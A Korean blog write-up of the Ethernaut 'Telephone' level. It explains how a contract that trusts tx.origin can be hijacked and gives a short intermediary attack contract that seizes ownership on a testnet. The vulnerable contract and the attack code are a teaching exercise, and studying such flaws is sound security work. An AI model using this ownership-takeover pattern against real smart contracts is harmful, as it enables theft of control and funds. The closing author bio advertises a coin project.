[Day34] OpenZeppelin 이더너트 문제풀이 — (5) Telephone
이번 문제는 Telephone 에 대한 문제다.
이 문제는 컨트랙트에 대한 오너쉽을 탈취하는 문제이다. tx.origin의 속성을 잘 알면 풀 수 있는 문제이다. 인스턴스를 먼저 생성한 후 소스를 확인해보자.
// sourcepragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {
owner = msg.sender;
}function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
위의 컨트랙트가 정상적으로 배포가 된 후 배포된 주소를 복사하고 소스를 복사하여 Telephone을 Remix를 통해 Ropsten Network에서 불러와 보자.
우선 현재 오너는 OpenZeppelin에서 컨트랙트를 생성할 때 생성자를 통해 만들어진 msg.sender의 계정이다.
저 Owner의 정보를 내 계정으로 바꾸기만 하면 끝이다. 소스상 살펴봐야할 부분은 tx.origin에 대한 정보이다.
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
msg.sender는 현재 컨트랙트를 실행하는 주소라고 기억하면 좋을 것 같다. 그게 EOA 계정이 되거나 Contract의 계정이 될 수 있다.
tx 에 대한 객체에 대한 정보는 아래와 같이 readthedocs documentation에서 확인이 가능하다.
트랜잭션을 발생시킨 Sender라고 나와 있다. 즉, 조금 더 풀이하자면 Contract A가 있고 Contract B가 있다. Contract A를 통해 Contract B의 어떤 함수를 호출하고자 할 때 call을 할 경우 Contract B가 바라보는 Sender는 Contract A의 주소다. 하지만, tx.origin 에 대한 정보는 Contract B가 바라볼 때 Contract A가 아닌 Contract A를 실행한 EOA 계정이 되는 것이다.
고로 우리는 이런 방식으로 문제를 풀 수 있을 것 같다. Telephone 컨트랙트를 호출하는 또 다른 컨트랙트를 만들어 tx.origin != msg.sender 의 조건만 만족 시키면 되는 것이다.
contract TelephoneHacked {
Telephone telephone;
constructor(address _contract){
telephone = Telephone(_contract);
}
function message() public {
telephone.changeOwner(msg.sender);
}
}
위와 같이 기존에 배포된 Telephone 컨트랙트 주소를 Telephone 객체에 주입시키고 changeOwner를 현재 내 주소를 파라미터로 하여 실행한다.
TelephoneHacked 라는 컨트랙트에서 message()를 실행한 이후에 Telephone Owner를 확인해보면 위와 같이 내 Account 계정으로 바뀐 것을 볼 수 있습니다.
이후 [Submit]을 통해 과제를 완료하면 끄읏~입니다.
- 저는 블록체인 개발사 (주)34일에서 블록체인 엔지니어로 일하고 있습니다.
- 880만 팔로워 전세계 1위 한류 미디어 케이스타라이브(KStarLive)와 함께 만든 한류 플랫폼에서 사용되는 케이스타코인(KStarCoin) 프로젝트를 진행 중입니다. 팬 커뮤니티 활동을 하면서 코인을 얻을 수 있으며, 한류 콘텐츠 구매, 공연 예매, 한국 관광 상품 구매, 기부 및 팬클럽 활동 등에 사용 될 계획입니다.